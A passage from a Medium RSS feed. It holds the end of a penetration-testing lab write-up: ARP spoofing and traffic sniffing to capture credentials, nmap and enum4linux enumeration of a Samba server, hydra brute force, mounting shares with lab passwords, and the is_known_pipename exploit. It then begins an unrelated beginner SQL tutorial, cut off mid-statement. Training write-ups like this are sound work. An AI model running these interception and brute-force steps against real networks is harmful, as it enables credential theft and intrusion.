+nocookie +noall +answer </pre><blockquote>HINTS : AXFR to make transfer zone</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ge7Z18QNa4eZGVyNAvwuCA.png" /><figcaption>sportsfoo !</figcaption></figure><p>What ! , ftp,intranet.sportsfoo.com , has a different network 10.10.10.6 can we access it</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/673/1*gbO05JFaPLB070oYwtkjgQ.png" /><figcaption>piiiing</figcaption></figure><p>Fine we can access it , Let’s show how we reach it with traceroute</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/689/1*C6rXHTwEJu_Nrd7mX_74OQ.png" /><figcaption>trace 10</figcaption></figure><p>Ok , Let’s see what all network we can reach</p><pre>ip route show </pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/829/1*wrty0F1Lm-rKF2O0D-4-Ew.png" /><figcaption>ip route</figcaption></figure><p>With this informations we can draw our topology of this network</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/866/1*4RT8y6fNTZ1sRAFzVev0_Q.png" /><figcaption>Topology</figcaption></figure><p>Fine , Now we know the topology we can sniff</p><p>Let’s start with 172.16.5.5 and 172.16.5.1 , I prefer to use <a href="https://github.com/smikims/arpspoof">arpspoof</a> for this mission</p><pre>arpspoof -i eth1 -t 172.16.5.6 -r 172.16.5.1</pre><blockquote>HINTS : <strong>-i </strong>for specific NIC ,<strong> -t</strong> our target IP , <strong>-r</strong> the ip we wanna to spoof his mac , you should open second terminal and write the same command but reverse the ips</blockquote><blockquote>Note : you should activate the ip_forward to make this work</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/530/1*9ReTdCcMmX1HV61UHCuojA.png" /><figcaption>Ip_forward</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*zLW_ZHacLGlG0_Too3aRIw.png" /><figcaption>arp-spoof</figcaption></figure><p>And use <a href="https://github.com/deiv/driftnet">driftnet</a> also to see if pictures are sent</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ltFNbp0rOGpRwsXCEltFuA.png" /><figcaption>driftnet_2</figcaption></figure><p>And open wireshark to analysis the packets</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Oh87Sv8qtthumFGkRlTcgw.png" /><figcaption>wireshark~~</figcaption></figure><p>After analysis it i found this credentials</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*yBXSDJO_qGYd40zxZc0IYQ.png" /><figcaption>credentials</figcaption></figure><p>Repeat the last 3 steps to the all IP’s arpspoof , driftnet and open wireshark to analysis the packets</p><p>So i found this packets</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/982/1*k29_JtkT8mmGhgnC-hUH4g.png" /><figcaption>DNS</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/843/1*VwmyT-JwaKg_U61YHalb0w.png" /><figcaption>credentials</figcaption></figure><p>Ok it seems we find good credentials to access webpage</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/844/1*4TFzFJYcrxHxwNFBPw7_zQ.png" /><figcaption>credentials</figcaption></figure><p>It seems we have ftp credentials also</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/829/1*y1IU7L8QEja4JbdTVriYag.png" /><figcaption>credentials</figcaption></figure><p>Http again !</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*6LoG5VYnBDo8iViCK-UQ8Q.png" /><figcaption>wireee</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/935/1*bu26DRwnsoc7o6Iy7PBIOg.png" /><figcaption>credentials</figcaption></figure><p>It seems we have many http credentials to use 😅</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1023/1*Z6-qw93wR3SNxsR8CfiHeg.png" /><figcaption>ftp_credentials</figcaption></figure><p>Again !</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*3aovO_lVhHtWLrOBL5cjmw.png" /><figcaption>SMB_GOOD</figcaption></figure><p>well , smb is good sign</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*oB7iPoSdLPDfbfjBS0G4Mw.png" /><figcaption>finance !</figcaption></figure><p>Now it seems 172.16.5.10 have a SMB server</p><p>Ok let’s scan it</p><pre>nmap -T4 -sS -Pn --disable-arp-ping -n 172.16.5.10</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/976/1*709xhH4H0BLlOX0ySM9JSQ.png" /><figcaption>NNMMAAPP</figcaption></figure><p>We find that it realy have smb let’s try to find more informations with enum4linux tool</p><pre>enum4linux -a 172.16.5.10 </pre><blockquote>┌──(rootkali)-[~]<br>┌──(rootkali)-[~]<br>└─# enum4linux -a 172.16.5.10 130 <br>Starting enum4linux v0.8.9 ( <a href="http://labs.portcullis.co.uk/application/enum4linux/">http://labs.portcullis.co.uk/application/enum4linux/</a> ) on Thu May 11 14:19:16 2023</blockquote><blockquote>========================== <br>| Target Information |<br> ========================== <br>Target ……….. 172.16.5.10<br>RID Range …….. 500–550,1000–1050<br>Username ……… ‘’<br>Password ……… ‘’<br><strong>Known Usernames .. administrator, guest, krbtgt, domain admins, root, bin, none</strong></blockquote><blockquote>=================================================== <br>| Enumerating Workgroup/Domain on 172.16.5.10 |<br> =================================================== <br>[E] Can’t find workgroup/domain</blockquote><blockquote>=========================================== <br>| Nbtstat Information for 172.16.5.10 |<br> =========================================== <br>Looking up status of 172.16.5.10<br>No reply from 172.16.5.10</blockquote><blockquote>==================================== <br>| Session Check on 172.16.5.10 |<br> ==================================== <br>Use of uninitialized value $global_workgroup in concatenation (.) or string at ./enum4linux.pl line 437.<br>[+] Server 172.16.5.10 allows sessions using username ‘’, password ‘’<br>Use of uninitialized value $global_workgroup in concatenation (.) or string at ./enum4linux.pl line 451.<br>[+] Got domain/workgroup name:</blockquote><blockquote>========================================== <br>| Getting domain SID for 172.16.5.10 |<br> ========================================== <br>Use of uninitialized value $global_workgroup in concatenation (.) or string at ./enum4linux.pl line 359.<br>Domain Name: EXPLOITLABS<br>Domain Sid: (NULL SID)<br>[+] Can’t determine if host is part of domain or part of a workgroup</blockquote><blockquote>===================================== <br>| OS information on 172.16.5.10 |<br> ===================================== <br>Use of uninitialized value $global_workgroup in concatenation (.) or string at ./enum4linux.pl line 458.<br>Use of uninitialized value $os_info in concatenation (.) or string at ./enum4linux.pl line 464.<br>[+] Got OS info for 172.16.5.10 from smbclient: <br>Use of uninitialized value $global_workgroup in concatenation (.) or string at ./enum4linux.pl line 467.<br>[+] Got OS info for 172.16.5.10 from srvinfo:<br> SAMBA-EXPLOIT Wk Sv PrQ Unx NT SNT samba.exploit.lab<br> platform_id : 500<br> os version : 4.9<br> server type : 0x809a03</blockquote><blockquote>============================ <br>| Users on 172.16.5.10 |<br> ============================ <br>Use of uninitialized value $global_workgroup in concatenation (.) or string at ./enum4linux.pl line 866.<br>index: 0x1 RID: 0x3e8 acb: 0x00000010 Account: admin Name: Desc: <br>index: 0x2 RID: 0x3e9 acb: 0x00000010 Account: almir Name: Desc:</blockquote><blockquote>Use of uninitialized value $global_workgroup in concatenation (.) or string at ./enum4linux.pl line 881.<br>user:[admin] rid:[0x3e8]<br>user:[almir] rid:[0x3e9]</blockquote><blockquote>======================================== <br>| Share Enumeration on 172.16.5.10 |<br> ======================================== <br>Use of uninitialized value $global_workgroup in concatenation (.) or string at ./enum4linux.pl line 640.</blockquote><blockquote>Sharename Type Comment<br> — — — — — — — — — — -<br> technology Disk <br> finance Disk <br> IPC$ IPC IPC Service (samba.exploit.lab)<br>SMB1 disabled — no workgroup available</blockquote><blockquote>[+] Attempting to map shares on 172.16.5.10<br>Use of uninitialized value $global_workgroup in concatenation (.) or string at ./enum4linux.pl line 654.<br><strong>//172.16.5.10/technology</strong> Mapping: DENIED, Listing: N/A<br>Use of uninitialized value $global_workgroup in concatenation (.) or string at ./enum4linux.pl line 654.<br><strong>//172.16.5.10/finance</strong> Mapping: DENIED, Listing: N/A<br>Use of uninitialized value $global_workgroup in concatenation (.) or string at ./enum4linux.pl line 654.<br><strong>//172.16.5.10/IPC$</strong> [E] Can’t understand response:<br>NT_STATUS_OBJECT_NAME_NOT_FOUND listing \*</blockquote><blockquote>=================================================== <br>| Password Policy Information for 172.16.5.10 |<br> ===================================================</blockquote><blockquote>[+] Attaching to 172.16.5.10 using a NULL share</blockquote><blockquote>[+] Trying protocol 139/SMB…</blockquote><blockquote>[+] Found domain(s):</blockquote><blockquote>[+] SAMBA-EXPLOIT<br> [+] Builtin</blockquote><blockquote>[+] Password Info for Domain: SAMBA-EXPLOIT</blockquote><blockquote>[+] Minimum password length: 5<br> [+] Password history length: None<br> [+] Maximum password age: 37 days 6 hours 21 minutes <br> [+] Password Complexity Flags: 000000</blockquote><blockquote>[+] Domain Refuse Password Change: 0<br> [+] Domain Password Store Cleartext: 0<br> [+] Domain Password Lockout Admins: 0<br> [+] Domain Password No Clear Change: 0<br> [+] Domain Password No Anon Change: 0<br> [+] Domain Password Complex: 0</blockquote><blockquote>[+] Minimum password age: None<br> [+] Reset Account Lockout Counter: 30 minutes <br> [+] Locked Account Duration: 30 minutes <br> [+] Account Lockout Threshold: None<br> [+] Forced Log off Time: 37 days 6 hours 21 minutes</blockquote><blockquote>Use of uninitialized value $global_workgroup in concatenation (.) or string at ./enum4linux.pl line 501.</blockquote><blockquote>[+] Retieved partial password policy with rpcclient:</blockquote><blockquote><strong>Password Complexity: Disabled<br></strong>Minimum Password Length: 5</blockquote><blockquote>============================= <br>| Groups on 172.16.5.10 |<br> ============================= <br>Use of uninitialized value $global_workgroup in concatenation (.) or string at ./enum4linux.pl line 542.</blockquote><blockquote>[+] Getting builtin groups:</blockquote><blockquote>[+] Getting builtin group memberships:<br>Use of uninitialized value $global_workgroup in concatenation (.) or string at ./enum4linux.pl line 542.</blockquote><blockquote>[+] Getting local groups:</blockquote><blockquote>[+] Getting local group memberships:<br>Use of uninitialized value $global_workgroup in concatenation (.) or string at ./enum4linux.pl line 593.</blockquote><blockquote>[+] Getting domain groups:</blockquote><blockquote>[+] Getting domain group memberships:</blockquote><blockquote>====================================================================== <br>| Users on 172.16.5.10 via RID cycling (RIDS: 500–550,1000–1050) |<br> ====================================================================== <br>Use of uninitialized value $global_workgroup in concatenation (.) or string at ./enum4linux.pl line 710.<br>Use of uninitialized value $global_workgroup in concatenation (.) or string at ./enum4linux.pl line 710.<br>Use of uninitialized value $global_workgroup in concatenation (.) or string at ./enum4linux.pl line 710.<br>Use of uninitialized value $global_workgroup in concatenation (.) or string at ./enum4linux.pl line 710.<br>Use of uninitialized value $global_workgroup in concatenation (.) or string at ./enum4linux.pl line 710.<br>[I] Found new SID: S-1–22–1<br>Use of uninitialized value $global_workgroup in concatenation (.) or string at ./enum4linux.pl line 710.<br>Use of uninitialized value $global_workgroup in concatenation (.) or string at ./enum4linux.pl line 710.<br>[I] Found new SID: S-1–5–21–2476325587–2202151648–2882393862<br>Use of uninitialized value $global_workgroup in concatenation (.) or string at ./enum4linux.pl line 742.<br>[I] Found new SID: S-1–5–32<br>[+] Enumerating users using SID S-1–22–1 and logon username ‘’, password ‘’<br>Use of uninitialized value $global_workgroup in concatenation (.) or string at ./enum4linux.pl line 834.<br>Use of uninitialized value $global_workgroup in concatenation (.) or string at ./enum4linux.pl line 834.</blockquote><blockquote>============================================ <br>| Getting printer info for 172.16.5.10 |<br> ============================================ <br>Use of uninitialized value $global_workgroup in concatenation (.) or string at ./enum4linux.pl line 991.<br>No printers returned.</blockquote><blockquote>enum4linux complete on Thu May 11 14:20:11 2023</blockquote><p>It seems that we have null session here , Let’s identify with smbclient command</p><pre>smbclient -L 172.16.5.10</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/762/1*4ROqgrxUl7nv3BwMhhNcrA.png" /><figcaption>null_session</figcaption></figure><p>Pingo , Now we know that we have null session here we missed one thing it’s valid credentials yes , Let’s use the credentials we previous found and use hydra to brutefroce on the smb server</p><pre>hydra -L Users.txt -P pass.txt smb://172.16.5.10</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/933/1*MaMgPqLDrqfFaSaef5HY2Q.png" /><figcaption>hydraa</figcaption></figure><p>Ok we are good to run psexec from metasploit and put our arguments</p><blockquote>Note : for more informations you can see this <a href="https://medium.com/@Fady_Moheb/netbios-hacking-ecppt-lab-89ccd871f125">writeup</a> or this <a href="https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/windows/smb/psexec.rb">site</a></blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*JJ9p_OsZJNKPVYf1H5u5iA.png" /><figcaption>what !!</figcaption></figure><p>We fail , I search about this issue but i understand this is not an issue i read the exploit code and i find this</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/868/1*PCZcI7ZWZ2AAD-yh0pehfg.png" /><figcaption>yap</figcaption></figure><p>So i understand that all credentials we found are not administrator credentials</p><p>After searching for a while i found that i can exploit it with <a href="https://www.rapid7.com/db/modules/exploit/linux/samba/is_known_pipename/">is_known_pipename()</a> exploit</p><blockquote>Note : read this resources then continue <a href="https://unix.stackexchange.com/questions/99065/how-to-mount-a-windows-samba-windows-share-under-linux">how-to-mount-a-windows-samba-windows-share-under-linux</a> , <a href="https://www.rapid7.com/db/modules/exploit/linux/samba/is_known_pipename/">is_known_pipename</a> , <a href="https://benleeyr.wordpress.com/2022/02/08/metasploit-6-smb-encryption-error-fixing/">metasploit-6-smb-encryption-error-fixing</a></blockquote><p>First , Let’s test that our credentials have access on the smb server</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/724/1*UBwx3jpiv1aczLhx0SmW9w.png" /><figcaption>admin_test</figcaption></figure><p>We are good to mount this finance , technology with admin , almir</p><pre>mount -t cifs -o user=almir,password=Corinthians2012,rw,vers=1.0 //172.16.5.10/finance ./N1NJ10</pre><blockquote>Note : make a dir to mount on it</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*SZe5xq46aJVcGQY5MV4CRg.png" /><figcaption>mount_finance</figcaption></figure><p>This time with technology dir</p><pre>mount -t cifs //172.16.5.10/finance ./N1NJ10 -o rw,vers=1.0,user=admin,password=et1@sR7!</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/976/1*XzV2dnKIBDniVoLTKsjVIQ.png" /><figcaption>mount_technology</figcaption></figure><p>Now we know that the <a href="https://www.rapid7.com/db/modules/exploit/linux/samba/is_known_pipename/">is_known_pipename()</a> exploit will work well , let’s see</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*GPtVv_kEXs7oZ_KDqeUwLw.png" /><figcaption>BINGO</figcaption></figure><p>We are in N1NJ10 😉</p><p>This LAB was full of information that I learned, and I personally hope that you have benefited from it</p><p>Now you finish N1NJ10 I hope you have benefited from this LAB, If any something doesn’t make sense you can reach me on social media</p><p>I enjoyed the LAB , and would post more future LABS and other security stuff in the future.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=79e411647ff3" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[SQL 101]]></title>
            <link>https://medium.com/@N1NJ10/sql101-780f745197f0?source=rss-9988103996ed------2</link>
            <guid isPermaLink="false">https://medium.com/p/780f745197f0</guid>
            <category><![CDATA[sql-interview-questions]]></category>
            <category><![CDATA[sql-injection]]></category>
            <category><![CDATA[sql]]></category>
            <category><![CDATA[sql-server]]></category>
            <category><![CDATA[sqlite]]></category>
            <dc:creator><![CDATA[N1NJ10]]></dc:creator>
            <pubDate>Tue, 16 May 2023 16:13:17 GMT</pubDate>
            <atom:updated>2023-05-23T11:43:58.282Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Madch3qt1_qesKUgWGeFag.jpeg" /><figcaption>We1C0me</figcaption></figure><p>Welcome N1NJ10 , this time we will not discuss about security stuff but about database stuff specific SQL server , I will try to talk about basics <br>But i have no idea about it in first time , So I asked my friend <a href="https://medium.com/u/5076e7aa2092">Beshoy Qulta</a> to help me to write this article and we write this article together</p><p>in this article we will talk about Structured Query Language (SQL)</p><p>SQL is a programming language that deals with the different DBMSs to do things in databases</p><p>SQL can be classified in a lot of ways but the most common one is: -</p><p>Data Definition Language (DDL): Queries that create, modify objects in the database.</p><p>Data Manipulation Language (DML): Queries that help us deal with managing and manipulating data in the database.</p><p>Data Control Language (DCL): Queries that help us deal with controls, rights, and permission in the database system.</p><p>Transaction Control Language (TCL): Queries used for managing and controlling the transactions in a database to maintain consistency.</p><p>In this article we will focus on DDL and DML</p><p>First of all, we should know some database concepts.</p><p>What is a primary key ?</p><p>Primary key is a crucial thing for important database concept (maintaining data integrity) which means maintaining the accuracy, consistency, and reliability of data.</p><p>Primary key is a column or a group of columns that UNIQUELY identifying a row in a table.</p><p>The primary key must be unique, not null, immutable (not changeable) and as minimum as possible.</p><p>Think of the primary key as a representator of the table to other tables</p><p>For example employees’ id in employee table is a primary key</p><p>What is the difference between primary key and unique key?</p><p>The primary key is used to uniquely identify each record in a table and is typically the main identifier for the table. It has additional characteristics and system-level behaviors, such as non-nullability and automatic indexing. On the other hand, a unique key enforces uniqueness but allows null values and is not restricted to being the primary identifier for a table.</p><p>What is a foreign key?</p><p>The foreign key is a reference for the primary key in another table which establish a relations between tables.</p><p>Think of the foreign key as an ambassador of the table that he came from.</p><p>Now let’s dig in SQL syntax.</p><p>SQL IS NOT CASE SENSITIVE For example</p><pre>select * from table_name;</pre><p>will retrieve the same result as</p><pre>SELECT * FROM table_name;</pre><p>but it’s preferred to type the keywords in upper case to ease the code readability.</p><p>in this article we will use Holywell SQL guide, this guide separates the query to several lines “each keyword in a separate line “</p><p>for example</p><pre>SELECT * <br>FROM table_name; </pre><p>note “the semicolon (;) is required in most DBMSs to separate the queries from each other which allow more than one SQL statement to be executed in one call”</p><p>Let’s start with the DDL.</p><p>the DDL commands are:</p><p>CREATE</p><p>This command creates database objects “Database, Table, Index …… etc.”</p><p>syntax:</p><pre>CREATE DATABASE db_name ;</pre><pre>CREATE TABLE table1 (column1_name datatype , column2_name datatype ...... etc.);</pre><p>SQL datatypes are:</p><p>Numeric Types:</p><ul><li>INT or INTEGER: Integer values (whole numbers).</li><li>FLOAT: Floating-point numbers (decimal numbers).</li><li>DECIMAL or NUMERIC: Fixed-point numbers with a specified precision and scale.</li><li>BIGINT: Large integer values.</li><li>SMALLINT: Small integer values.</li><li>TINYINT: Tiny integer values.</li></ul><p>Character String Types:</p><ul><li>CHAR: Fixed-length character string.</li><li>VARCHAR: Variable-length character string.</li><li>TEXT: Variable-length character string for storing large amounts of text.</li><li>NCHAR: Fixed-length Unicode character string.</li><li>NVARCHAR: Variable-length Unicode character string.</li><li>NTEXT: Variable-length Unicode character string for storing large amounts of text.</li></ul><p>Date and Time Types:</p><ul><li>DATE: Date values (year, month, day).</li><li>TIME: Time values (hour, minute, second).</li><li>TIMESTAMP: Date and time values, including fractional seconds.</li><li>DATETIME: Date and time values with a precision of milliseconds.</li><li>SMALLDATETIME: Date and time values with a precision of one minute.</li></ul><p>we want now to implement the primary key, foreign key, unique key.</p><p>we will use this syntax:</p><pre>CREATE TABLE table1 (column1 datatype, column2 datatype, column3 datatype <br>PRIMARY KEY (column1));</pre><p>In the previous query the primary key is column 1.</p><pre>CREATE TABLE table1 (column1 datatype, column2 datatype, column3 datatype <br>PRIMARY KEY (column1)<br>CONSTRAINT UQ_column UNIQUE (column2));</pre><p>In the previous query the unique key is column2.</p><p>“Note you cannot implement in MS SQL SERVER without the CONSTARINT keyword which give you the chance to name your key”</p><pre>CREATE TABLE table1 (column1 INT, column2 VARCHAR(15), column3 INT,<br>PRIMARY KEY (column1),<br>CONSTRAINT UQ_column UNIQUE (column2),<br>CONSTRAINT FK_key FORIEGN KEY(column3) <br>REFERENCES table2 (column4));<br><br>CREATE TABLE table2 (column4 INT , column5 DATETIME, <br>PRIMARY KEY (column4));</pre><p>In the previous query column 3 in table 1 is a foreign key reference to column 4 in table 2.</p><p>DROP</p><p>This command PERMANENTLY DELETE database objects “Database, Table, Index …… etc.”</p><p>syntax:</p><pre>DROP DATABASE db_name;</pre><pre>DROP TABLE table_name;</pre><p>ALTER</p><p>The ALTER command is used to add, delete, or modify columns in existing tables.</p><p>syntax:</p><pre>ALTER TABLE table_name <br>ADD new_column_name datatype;</pre><p>This code added a new column to the table.</p><pre>ALTER TABLE table_name<br>DROP COLUMN column_name;</pre><p>This code dropped a column from the table.</p><pre>ALTER TABLE table_name<br>RENAME COLUMN old_name TO new_name;</pre><p>This code renamed a column.</p><pre>ALTER TABLE table_name<br>ALTER COLUMN column_name datatype;</pre><p>This code modified the column’s datatype.</p><p>“please note that there is difference between the different DBMSs in this code the previous code is for MS SQL SERVER”</p><pre>ALTER TABLE table_name<br>MODIFY COLUMN column_name datatype;</pre><p>“This one is for MySQL”</p><p>Now remember the first two tables we created?</p><p>We want column 3 to automatically change after the change of column 4 in table 2.</p><p>We will use option called CASCADE</p><p>CASCADE is basically option that automatically changes the foreign key after the change of the primary key “either update or delete”</p><pre>ALTER TABLE table1<br>DROP CONSTRAINT FK_key;<br><br>ALTER TABLE table1<br>ADD CONSTRAINT FK_key FOREIGN KEY (column3)<br>    REFERENCES table2 (column4)<br>    ON UPDATE CASCADE<br>    ON DELETE CASCADE;</pre><p>In the previous two queries we dropped the foreign key because we want to respecify the foreign key to be up to date with the primary key</p><p>and we added the foreign key once again but this time with CASCADE option which let the two keys to be up to date</p><p>TRUNCATE</p><p>The TRUNCATE command deletes all the data inside the table but not the table itself and this is the main difference between TRUNICATE and DROP</p><pre>TRUNCATE TABLE table_name;</pre><p>Before we go into the DML part we will know two important commands in the TCL.</p><p>COMMIT vs ROLLBACK</p><p>COMMIT: The “commit” command is used to permanently save the changes made within a transaction. It signifies the successful completion of a transaction and makes the changes visible to other users or processes. Once a commit is issued, the changes become durable and cannot be rolled back.</p><p>ROLLBACK: The “rollback” command is used to undo or cancel the changes made within a transaction. It reverts the database to its state before the transaction started, discarding any modifications made within the transaction. Rollback is typically used when an error occurs or when the transaction needs to be aborted.</p><p>In Terms of Syntax the COMMIT and ROLLBACK are considered as independent queries.</p><p>First of all, we should know that the DML commands are very useful in data cleaning, data extraction.</p><p>To make things interesting we will take the journey of the DML by facing some problems and trying to get out of it.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/882/1*soMbL65jqZKqI86wAzp-Iw.png" /><figcaption>sample of the Customers table</figcaption></figure><p>Suppose we have this humble table “Customers” in our database, and we want to <strong><em>select</em> the two columns ContactName , City</strong></p><p>First of all we should analyze the plain English text</p><p>The two columns we want are <strong>ContactName , City and we want from the table </strong>Customers.</p><p>So, the query should look like this.</p><pre>SELECT ContactName , City <br>FROM Customers;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Ltf9aQz-DWL-dK-BA7tjkA.png" /><figcaption>sample of the result</figcaption></figure><p>Nice we now retrieved the wanted columns</p><p>Now if we want to retrieve all the columns in our table, we should use the asterisk ( * ) after the SELECT command.</p><p>The query will look like this:</p><pre>SELECT * <br>FROM Customers; </pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*9_vls3UL3M1MYidcP9pCZQ.png" /><figcaption>sample of the result</figcaption></figure><p>We now retrieved all the columns in the table, good.</p><p>Suppose we want to know the unique values in the country column.</p><p>What we should do is using the DISTINCT keyword alongside the SELECT one to retrieve the unique values.</p><p>The query should look like this:</p><pre>SELECT DISTINCT Country<br>FROM Customers; </pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1014/1*MN4d3JqexjieO_AQE35PIQ.png" /><figcaption>the result of the previous query</figcaption></figure><p>The result retrieved only 21 record “note that the total records are 91.”</p><p>Now we have another problem.</p><p>We need to know the cities in Norway that are stored in our table</p><p>We will use the where clause to fulfill our condition</p><pre>SELECT City<br>FROM Customers<br>WHERE Country = &#39;Norway&#39;;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*c2HiRvXOve4cu1gwB6ZxZw.png" /><figcaption>the result of the previous query</figcaption></figure><p>Only one city in the table from Norway which is Staven.</p><p>Now imagine that you want the cities in Venezuela and the <strong>CustomerID is even.</strong></p><p>We will use logical operator (AND operator) and the modulo operator (%)</p><p>The query will look like this:</p><pre>SELECT city <br>FROM Customers <br>WHERE Country = &#39;Venezuela&#39; AND CustomerID % 2 = 0;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*qUXL5UWRm_METo6aGJTioQ.png" /><figcaption>the result of the previous query</figcaption></figure><p>The only costumer with even ID is in Barquisimeto Venezuela.</p><p>Now imagine that you want to retrieve the <strong>customer names </strong>in Spain or the <strong>ID is odd.</strong></p><p>We will use the two logical operators (OR , NOT) and we will use the modulo operator (%)</p><p>The query will look like this:</p><pre>SELECT CustomerName<br>FROM Customers<br>WHERE Country = &#39;Spain&#39; OR NOT CustomerID % 2 = 0; </pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*rIZnTfQGZyy5So245-Vdtw.png" /><figcaption>sample from the result</figcaption></figure><p>The result consists of all the names of the odd IDs and the names in Spain.</p><p>Imagine we want to order the previous result ascending or descending.</p><p>We will use the keyword ORDER BY with the ASC or DESC clauses.</p><pre>SELECT CustomerName<br>FROM Customers<br>WHERE Country = &#39;Spain&#39; OR NOT CustomerID % 2 = 0<br>ORDER BY CustomerName ASC; -- for ascending order</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Ov-S6XimNurxM4EfPOzBfw.png" /><figcaption>sample from the result</figcaption></figure><pre>SELECT CustomerName<br>FROM Customers<br>WHERE Country = &#39;Spain&#39; OR NOT CustomerID % 2 = 0<br>ORDER BY CustomerName DESC; -- for descending order</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/910/1*T6QP8PgY-tXdUIkpMX8oAQ.png" /><figcaption>sample from the result</figcaption></figure><p>Let’s try to retrieve the first 5 results in the previous query</p><p>well this depend on the DBMS you are using</p><p>if you use MS SQL SERVER you use TOP clause alongside the SELECT statement:</p><pre>SELECT TOP 5  CustomerName<br>FROM Customers<br>WHERE Country = &#39;Spain&#39; OR NOT CustomerID % 2 = 0<br>ORDER BY CustomerName DESC; </pre><p>but if you are in MySQL you use the LIMIT keyword:</p><pre>SELECT CustomerName<br>FROM Customers<br>WHERE Country = &#39;Spain&#39; OR NOT CustomerID % 2 = 0<br>ORDER BY CustomerName DESC<br>LIMIT 5;</pre><p>however, the result is still the same.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*7xYBUvLWazwso8IbPaVnhA.png" /><figcaption>The result of the previous query</figcaption></figure><p>now we want the names that starts with letter ‘f’ for example.</p><p>we should use the LIKE operator and the SQL WILDCARDS</p><p>The syntax:</p><pre>SELECT column1, column2, ...<br>FROM table_name<br>WHERE columnN LIKE pattern;</pre><p>And these are examples for the patterns :</p><p>WHERE CustomerName LIKE ‘f%’ → Finds any values that start with “f”</p><p>WHERE CustomerName LIKE ‘%f’ → Finds any values that end with “f”</p><p>WHERE CustomerName LIKE ‘%or%’ → Finds any values that have “or” in any position</p><p>WHERE CustomerName LIKE ‘_r%’ → Finds any values that have “r” in the second position</p><p>WHERE CustomerName LIKE ‘a_%’ → Finds any values that start with “a” and are at least 2 characters in length</p><p>WHERE CustomerName LIKE ‘a__%’ → Finds any values that start with “a” and are at least 3 characters in length</p><p>WHERE ContactName LIKE ‘a%o’ → Finds any values that start with “a” and ends with “o”</p><p>And these are the wildcards</p><p>‘%’ (Represents zero or more characters) → bl% finds bl, black, blue, and blob</p><p>‘_’ (Represents a single character) → h_t finds hot, hat, and hit</p><p>‘[]’ (Represents any single character within the brackets) → h[oa]t finds hot and hat, but not hit</p><p>‘^’ (Represents any character not in the brackets) → h[^oa]t finds hit, but not hot and hat</p><p>‘-’(Represents any single character within the specified range) → c[a-b]t finds cat and cbt</p><p>Let’s get back to our example we want to find the names that starts with ‘f’</p><p>we can retrieve with a name also which called Alias and the clause for it is AS</p><pre>SELECT CustomerName AS &#39;Customers start with f&#39;<br>FROM Customers<br>WHERE CustomerName LIKE &#39;f%&#39; ;<br></pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/866/1*q0jrczhfbkHeLgVFX_HxSA.png" /></figure><p>Imagine that we want to put new values to the table.</p><p>We use the INSERT command as follows:</p><pre>INSERT INTO Customers (CustomerName, ContactName, Address, City, PostalCode, Country)<br>VALUES (&#39;Ahmed&#39;, &#39;Ahmed Mohamed&#39;, &#39;El dokki&#39;, &#39;Cairo&#39;, &#39;56987&#39;, &#39;Egypt&#39;);</pre><p>The result will be like this:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/491/1*gMUnjJhseZEQgfIizHXoaQ.png" /></figure><p>VERY IMPORTANT NOTE “in INSERT command notice the order of the values and don’t forget any value.”</p><p>Let’s try to update this row because we entered the wrong postal code.</p><p>We will use the UPDATE command to modify the postal code as follows:</p><pre>UPDATE Customers<br>SET PostalCode = &#39;12611&#39;<br>WHERE CustomerID = 92;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*DhpGBBxnbOw23KuGp4F5GA.png" /><figcaption>Before applying the update</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*6skinkFRPv-eON-ezrqZ0Q.png" /><figcaption>After applying the update</figcaption></figure><p>On second thought we want to remove this row from the table</p><p>We will use the DELETE command:</p><p>The syntax:</p><pre>DELETE 